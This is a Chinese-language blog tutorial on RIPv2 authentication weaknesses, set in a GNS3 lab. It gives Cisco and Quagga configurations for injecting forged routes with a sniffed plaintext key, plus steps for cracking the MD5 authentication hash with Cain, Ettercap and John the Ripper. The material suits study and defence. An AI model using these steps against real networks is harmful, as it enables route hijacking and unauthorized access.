RIPv2认证机制与安全漏洞分析

本文详细分析了RIPv2认证机制的安全弱点,包括明文传输漏洞和MD5哈希破解方法,通过实验演示如何利用Quagga注入伪造路由,并介绍使用Cain和John the Ripper工具破解认证密钥的过程。

RIPv2认证机制与安全漏洞分析

在本系列的第一部分《利用RIP漏洞》中,我们搭建了使用RIPv1的GNS3实验环境,并成功通过注入伪造路由来利用其漏洞。作为防护措施,RIPv2可采用认证机制来阻止未授权路由添加到系统中。根据我的研究,RIPv2的认证功能并非作为安全机制设计,而是为了防止错误配置的路由器意外添加路由。

本文将逐步将实验环境从版本1升级到版本2,并启用不同级别的认证。在每个阶段,我将展示系统的弱点及利用方法。

实验网络拓扑

这是我上一篇文章中构建的网络:

(图1:网络拓扑示意图)

从RIPv1升级到RIPv2

首先查看RIPv1的数据包捕获,以便对比启用认证后的差异:

(图2:RIPv1数据包捕获)

现在将版本从1升级到2:

1
2
3
R1#conf t
R1(config)#router rip
R1(config-router)#version 2

需要在R2和R3上重复此操作,确保所有设备都使用版本2通信。

升级后的数据包捕获显示:

(图3:RIPv2数据包捕获)

版本2在每个数据包中发送更多信息,但本质上没有实质性变化。

启用认证机制

启用认证前,建议检查网络连通性。我曾在某个设备上忘记设置版本,导致网络暂时中断。

要启用认证,首先需要设置密钥链和密钥字符串:

1
2
3
4
R1#conf t
R1(config)#key chain digi
R1(config-keychain)#key 1
R1(config-keychain-key)#key-string ninja

这将创建名为"digi"的密钥链,其中包含密码"ninja"。然后将密钥应用到接口:

1
2
3
R1#conf t
R1(config)#interface e1/0
R1(config-if)#ip rip authentication key-chain digi

此时网络中的RIP会中断,因为R1发送带认证的消息,但R2不期望认证,会忽略提供的路由。

数据包层面显示:

(图4:明文密码数据包捕获)

密码以明文形式传输!我们可以利用此漏洞更新VM配置使用RIPv2和收集到的密码。

Quagga配置修改

修改Quagga配置文件很简单:

  1. 将版本号从1改为2
  2. 添加以下行(需要缩进):
1
2
3
4
5
6
7
8
!
key chain digi
 key 1
  key-string ninja
!
interface eth0
 ip rip authentication key-chain digi
 ip rip authentication mode text

启动Quagga后检查R1路由表,发现没有变化。原因是只配置了R1的e1/0接口使用RIPv2和认证,但未修改连接VBox的e1/3接口,该接口仍期望版本1且无认证。

通过调试命令验证:

1
R1#debug ip rip

显示忽略来自192.168.0.101(VBox)的数据包,原因为"invalid authentication"。

配置MD5认证

RIPv2还支持基于MD5的认证,旨在防止密码明文传输。这是推荐的安全配置。

启用MD5认证:

1
2
3
R1#conf t
R1(config)#interface e1/3
R1(config-if)#ip rip authentication mode md5

需要在通信双方都进行配置。清除R1上的缓存路由:

1
R1#clear ip route 192.168.1.0

破解MD5认证

使用Cain和Able工具

破解MD5哈希的步骤:

  1. 捕获包含RIPv2消息的pcap文件
  2. 在Cain中打开pcap文件
  3. 转到Sniffer标签页,然后选择Routing标签
  4. 右键点击要破解的条目,选择"Send to Cracker"
  5. 转到Cracker标签页,数据包会显示在列表中
  6. 选择攻击类型(如字典攻击)
  7. 加载字典文件并开始破解

(图5:Cain破解界面) (图6:破解成功界面)

使用John the Ripper工具

安装John the Ripper:

1
2
3
4
git clone -b bleeding-jumbo https://github.com/magnumripper/JohnTheRipper.git
cd JohnTheRipper/src
make
make linux-x86-64-native

安装Ettercap提取密钥:

1
2
git clone https://github.com/Ettercap/ettercap.git
cd ettercap

检查pcap中的RIP数据包:

1
$ ettercap -Tr ./rip_v2_from_r1_just_r1.pcap

将RIP数据包导出到文件:

1
$ ettercap -Tr ./rip_v2_from_r1_just_r1.pcap > ~/rip_for_john

运行John进行破解:

1
$ ~/JohnTheRipper/run/john ~/rip_for_john --wordlist=/tmp/words

成功破解密码"ninja"。

结论

通过这两篇文章,您已掌握如何嗅探网络中的RIP数据包、注入伪造路由(无论使用版本1还是2),以及如何破解认证机制。虽然RIP协议现在较少使用(OSPF更受青睐),但其简单性使其成为学习更复杂协议的良好起点。

未来计划覆盖其他二层协议如OSPF、HSRP和EIRGP,使用的工具大多相同,因此从这些实验过渡到更复杂的协议将相对简单。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计